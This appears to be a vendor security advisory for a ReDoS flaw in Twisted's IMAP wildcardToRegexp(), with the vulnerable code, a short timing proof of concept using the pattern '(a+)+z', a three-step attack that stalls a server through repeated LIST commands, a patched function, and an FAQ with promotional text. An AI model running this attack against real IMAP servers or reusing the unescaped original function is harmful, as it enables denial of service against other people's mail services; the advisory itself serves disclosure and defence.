CVE-2026-106454

Twisted: IMAP wildcardToRegexp() ReDoS

# line 4595
def wildcardToRegexp(wildcard, delim=None):
    wildcard = wildcard.replace("*", "(?:.*?)")
    if delim is None:
        wildcard = wildcard.replace("%", "(?:.*?)")
    else:
        wildcard = wildcard.replace("%", "(?:(?:[^%s])*?)" % re.escape(delim))
    return re.compile(wildcard, re.I)   # ← user input compiled verbatim

# line 4993
class MemoryAccountWithoutNamespaces:
    def listMailboxes(self, ref, wildcard):
        ref = self._inferiorNames(_parseMbox(ref.upper()))
        wildcard = wildcardToRegexp(wildcard, "/")   # ← user-supplied wildcard
        return [(i, self.mailboxes[i]) for i in ref if wildcard.match(i)]

from twisted.mail.imap4 import wildcardToRegexp
import time

rx = wildcardToRegexp("(a+)+z", "/")
for n in [20, 22, 24, 26, 28]:
    victim = "a" * n
    t0 = time.perf_counter()
    rx.match(victim)
    print(f"n={n}: {time.perf_counter() - t0:.3f}s")

[*] Compiled regex: '(a+)+z'
[*] Note: metacharacters ( ) + ? are NOT escaped - they go straight to re.compile()

    n        time
  ---  ----------
   20       0.153s
   22       0.651s
   24       2.941s
   26      14.545s
   28      55.019s

Twisted's reactor is single-threaded and cooperative. A blocking re.match() call suspends the entire event loop - no other connection can be accepted, read, or written while the match runs. A single authenticated LIST command with a 28-character target mailbox name can stall the server for ~55 seconds.

An attacker who can register an account (or obtain credentials through other means) can:

1. CREATE a mailbox whose name is an exponential-blowup trigger string.
2. Issue LIST "" "(a+)+z" (or equivalent ReDoS pattern).
3. Repeat at ~1-minute intervals to keep the server permanently unavailable.

No exploit code or special privileges beyond an IMAP login are required.

A regular expression with worst-case exponential or polynomial matching time is applied to untrusted input, causing excessive CPU use. Typical impact: denial of service when input is crafted to trigger backtracking.

CVE-2026-106454 has a CVSS score of 4.3 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

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Escape non-wildcard characters before compiling:

def wildcardToRegexp(wildcard, delim=None):
    # Split on the two IMAP wildcards, escape everything else
    parts = re.split(r'([*%])', wildcard)
    result = []
    for p in parts:
        if p == '*':
            result.append('(?:.*?)')
        elif p == '%':
            if delim is None:
                result.append('(?:.*?)')
            else:
                result.append('(?:(?:[^%s])*?)' % re.escape(delim))
        else:
            result.append(re.escape(p))   # ← escape all other characters
    return re.compile(''.join(result), re.I)

Alternatively, apply re.escape() to the entire wildcard first, then substitute the (now-escaped) \* and \% tokens back with their regex equivalents.

1. What is CVE-2026-106454? CVE-2026-106454 is a medium-severity inefficient regular expression (ReDoS) vulnerability in Twisted (pip), affecting versions <= 26.4.0. No fixed version is listed yet. A regular expression with worst-case exponential or polynomial matching time is applied to untrusted input, causing excessive CPU use.
2. How severe is CVE-2026-106454? CVE-2026-106454 has a CVSS score of 4.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of Twisted are affected by CVE-2026-106454? Twisted (pip) versions <= 26.4.0 is affected.
4. Is there a fix for CVE-2026-106454? No fixed version is listed for CVE-2026-106454 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2026-106454 exploitable, and should I be worried? Whether CVE-2026-106454 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-106454 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-106454? No fixed version is listed yet. In the interim: Rewrite the regular expression to avoid ambiguous repetition, or use a linear-time regex engine.

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